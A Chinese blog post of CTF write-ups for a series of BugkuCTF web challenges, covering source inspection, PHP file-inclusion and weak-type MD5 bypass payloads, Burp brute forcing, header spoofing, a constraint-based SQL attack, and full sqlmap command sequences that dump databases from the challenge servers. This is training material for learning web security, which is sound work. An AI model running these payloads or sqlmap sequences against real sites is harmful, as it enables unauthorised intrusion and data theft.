php没有登录的话打开其他页面提示,2019-03-13 BugkuCTF Writeup之Web(Web4——这是一个神奇的登录框)...

Web4

考察查看网页源代码和escape编码的解码

7763eb7a3889

提示“看看源代码吧”,所以看了一下源代码,发现一段JavaScript脚本。不过这段脚本好像是错的,所以直接运行的话运行不了。

7763eb7a3889

把它稍微改一改就可以运行了,运行后得到一段JavaScript代码,当然也可以选择不运行,直接解码那些内容,也可以得到这些代码。

7763eb7a3889

这段代码如下:

function checkSubmit(){

var a=document.getElementById("password");

if("undefined"!=typeof(a){

if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)

return 0;

alert("Error");

a.focus();

return 1;

}

}

document.getElementById("levelQuest").οnsubmit=checkSubmit;

大概意思就是:定义一个函数checkSubmit,要求传入a,如果a的值不等于67d709b2b54aa2aa648cf6e87a7114f1,就弹框“error”,如果正确的话应该就拿到flag。

关于这段代码的含义可以参考一下我的JavaScript笔记,虽然有些我还没学到,不过大概意思可以看得懂。

在输入框中输入“”67d709b2b54aa2aa648cf6e87a7114f1”,得到flag。

7763eb7a3889

flag在index里

考察使用PHP内部协议读取网页源代码

7763eb7a3889

打开看到一个链接。

7763eb7a3889

点进去一看只有test5,但是发现了“file=show.php”。

这道题是在做了HGAME2019的week2之后做的。有了做HGAME的经验很容易就知道这是一个文件包含漏洞,可以通过PHP内置协议直接暴露index.php的源代码。

7763eb7a3889

成功暴露源代码。

7763eb7a3889

用hackbar插件进行BASE64解码得到flag。

7763eb7a3889

输入密码查看flag

考察使用Burp Suite爆破

7763eb7a3889

7763eb7a3889

提示密码为五位数字,所以考虑爆破(题目链接也提示了要爆破……)。

抓包。

7763eb7a3889

设置Positions和Payloads。

7763eb7a3889

7763eb7a3889

开始爆破,密码为13579时返回信息有变化,查看响应得到flag。

7763eb7a3889

点击一百万次

考察查看网页源代码和POST请求提交数据

7763eb7a3889

提示了JavaScript,打开网页源代码果然看到了JavaScript代码。

7763eb7a3889

大概意思就是当clicks大于等于1000000时就会得到flag,所以用hackbar直接post:clicks=1000000,拿到flag。

7763eb7a3889

备份是个好习惯

考察.bak文件和代码审计。

7763eb7a3889

打开之后只有两串一样的MD5,而且都是空密码。

卡在这里很久,后来突然知道了.bak文件,于是尝试打开index.php.bak。

后缀名为bak的文件是备份文件,修改了原文件的内容后,保存了修改后的内容,那么修改前的内容会自动保存为后缀名为bak的备份文件(前提是设置了备份功能),如果想查看或者恢复修改前的内容,就需要用到bak文件。

(来自百度知道)

果然有这个文件:

7763eb7a3889

下载下来之后用记事本打开,发现一些php代码:

7763eb7a3889

查看代码后发现要求传入key1和key2两个参数,要求值不同而MD5加密后相同。由于只有两个等号所以考虑用弱类型绕过。

但是,str_replace('key','',$str)这一句会过滤掉key,所以构造一个双写来绕过。

综合起来Payload就是:?kekeyy1=QNKCDZO&kkeyey2=s1885207154a

提交一下得到flag。

7763eb7a3889

成绩单

最基本的SQL注入题,用sqlmap做或者手动都可以。我这里是用了sqlmap。

7763eb7a3889

方法是post,参数是id。

检测注入点:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1"

7763eb7a3889

找到了注入点,也就是id。

接下来就是按照套路来:

爆库:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" --dbs

7763eb7a3889

可以看到有两个数据库,flag应该在skctf_flag里。

爆表:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag --tables

7763eb7a3889

flag应该在fl4g这个表里。

爆字段名:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g --columns

7763eb7a3889

只有一个字段,那这个肯定就是flag了。

爆字段:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g -C skctf_flag --dump

7763eb7a3889

拿到了flag。

秋名山老司机

做这道题需要写具有自动读取、计算、自动提交功能的Python脚本。因为需要用正则表达式匹配算式,还要有自动请求和自动提交功能,所以要用到re库和request库。

7763eb7a3889

打开刷新几下会出现这样的提示,即要传入名为value的变量,value的值如果是答案的话就可以得到flag。

7763eb7a3889

两秒的话肯定不能手算,就用写脚本的方法来解决。思考了一下写出来的脚本应该有这样的功能:

1.请求给定的url;2.提取页面中的文字信息;3.将文字信息中的算式提取出来;4.计算这个算式并且得到结果;5.自动提交结果。

而且整个脚本的运行时间不能大于两秒(虽然Python比C慢,但是这个一般都没问题吧……)。

7763eb7a3889

因为算式在

根据前面所想的功能编写脚本:

ps:自己刚学Python四天,接触正则表达式的时间更短,代码力还不行,写出来的正则表达式总是报错或者匹配不出来,所以正则表达式提取

import re

import requests

url = 'http://123.206.87.240:8002/qiumingshan/'

s = requests.Session() #使用Session参数是为了防止提交答案时算式更新

r = s.get(url) #提取页面信息

b = re.findall(r'

(.*)=\?;
',r.text,re.S)[0] #正则表达式提取

result = eval(b) #计算算式得到结果

post = {'value': result} #提交结果

print(s.post(url, data = post).text)

执行脚本之后有一定几率拿到flag,不知道为什么不可以100%成功。

总结:正则表达式真难……

其余的目前还没有全部做完,做完了的如下图所示,没做完的那些等以后做完再新开一篇文章补上。

7763eb7a3889

never give up

考察view-source查看网页源代码和escape编码的解码

7763eb7a3889

页面里没什么有用的信息,查看网页源代码发现一条注释:

7763eb7a3889

访问了一下这个页面,发现跳转到了Bugku的首页,那么这个1p.html的网页源代码里肯定有信息,使用view-source查看即可。

7763eb7a3889

发现一串编码过的字符,下面的unescape()函数提示这是escape编码:

7763eb7a3889

这段JS应该是可以执行的,不过我还没试,反正执行也是解码,就直接解码了。

解码,发现解码出来的信息里有个f4l2a3g.txt,应该就是flag所在的页面。

这段文字Urldecode之后应该还能出现信息,不过访问了f4l2a3g.txt之后就拿到flag了,也没想那么多。

7763eb7a3889

拿到flag。

7763eb7a3889

前女友(SKCTF)

最简单的PHP弱类型利用

7763eb7a3889

查看网页源代码发现链接,打开链接看到代码。

7763eb7a3889

7763eb7a3889

7763eb7a3889

要求传入v1,v2,v3三个参数,其中v1和v2的值不同但MD5加密后的值相同,v3(数组或字符串)与flag的值不同。

考虑到PHP弱类型:PHP在处理MD5加密后的字符串时,它把每一个以“0e”开头的值都解释为0^e(就是0),所以如果两个不同的字符串经过MD5加密以后,都是以“0e”开头的,那么PHP将会认为他们相同。所以构造v1=QNKCDZO&v2=240610708&v3[]=1,提交得到flag。

7763eb7a3889

login1(SKCTF)

考察基于约束的SQL攻击。

7763eb7a3889

在前几天翻大佬们的博客时看到过这道题的wp,不过当时没仔细看,结果刚看完就做到这道题了……

打开页面,如果随便注册的话会提示不是admin拿不到flag。

7763eb7a3889

所以,根据上面那篇文章中提到的,为了入侵admin的账户,使用admin加随意多的空白符注册即可:

7763eb7a3889

注册成功后使用刚才注册的用户名登录:

7763eb7a3889

拿到flag:

7763eb7a3889

你从哪里来

考察的是请求头中Referer参数的使用。

7763eb7a3889

打开链接看到一句话:

7763eb7a3889

本以为是要在请求头中添加X-Forwarded-For:(谷歌的ip地址),但是试过了发现没有用。考虑到请求头中的Referer参数的作用是:代表当前访问URL的上一个URL,也就是说,用户是从什么地方来到本页面(摘自《Web安全深度剖析》),使用Hackbar中的Referer功能设置Referer参数的值为“https://www.google.com”,发送请求得到flag。

7763eb7a3889

7763eb7a3889

md5 collision(NUPT_CTF)

考察利用PHP弱类型绕过md5验证。

7763eb7a3889

什么提示也没有,只有input a,联想到题目叫md5碰撞,应该是利用弱类型绕过md5验证。

7763eb7a3889

用QNKCDZO试了下发现不行。

7763eb7a3889

换了另一个md5加密后0e开头的,得到flag。

7763eb7a3889

程序员本地网站

考察的是请求头中的X-Forwarded-For参数。

7763eb7a3889

7763eb7a3889

本地,也就是127.0.0.1。

在请求头中添加“X-Forwarded-For: 127.0.0.1”,发送请求得到flag。

7763eb7a3889

各种绕过

很基础的代码审计,考察数组绕过sha1()函数、URL二次解码绕过

7763eb7a3889

要提交三个参数:uname、passwd、id。其中uname和id是GET方式提交,passwd是POST方式提交。要求uname和passwd在sha1()函数加密后相等,但是这里是用全等于判断的,所以不能用弱类型绕过。

id在urldecode之后要等于margin,所以需要构造一个URL二次解码绕过。

7763eb7a3889

构造如下:

7763eb7a3889

提交一下得到flag。

7763eb7a3889

细心

考察查看robots.txt

7763eb7a3889

打开一看发现一个意义不明的404页面,于是想到看robots.txt。

7763eb7a3889

打开之后果然有了发现。

7763eb7a3889

进去一看,说不是管理员,ip被记录了(而且还把我的ip暴露出来了)。

同时还发现底下有一句代码。

7763eb7a3889

提示说想办法变成admin。一般来说提示不是管理员都是改Cookie,但是既然底下有这句代码,那么就先传入?x=admin试试。

还真行,拿到flag了。

这个页面里的ip和时间应该都是其他师傅的,往下翻了翻还看到了自己的ip和时间,囧。

7763eb7a3889

而且这个flag居然不是花括号,搞得我以为这里有坑,还要改成花括号或者这就是个假flag,结果直接交上去就对了,果然是我想太多了……

这是一个神奇的登陆框

考察SQL注入,用sqlmap轻松搞定。

7763eb7a3889

进去一看是个登录页面,而且题目地址也写了“sql”,那应该是sql注入。

随便写点什么提交一下,发现提交方式是post,请求主体是“admin_name=admin&admin_passwd=123&submit=GO+GO+GO”

7763eb7a3889

7763eb7a3889

通过前面测试DVWA的漏洞和做一些sql注入题,我已经知道接下来是sqlmap出场的时间了(笑)。

先找一下注入点:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch

7763eb7a3889

注入点是admin_name。

爆库:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch --dbs

7763eb7a3889

发现了两个数据库。flag应该在第一个数据库里。

爆表:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 --tables

7763eb7a3889

有两个表。flag应该在flag1里。

爆字段名:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 -T flag1 --columns

7763eb7a3889

这应该就是flag了。

最后爆字段:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 -T flag1 -C flag1 --dump

7763eb7a3889

这串MD5应该就是flag。

加上flag{}格式,就得到真正的flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值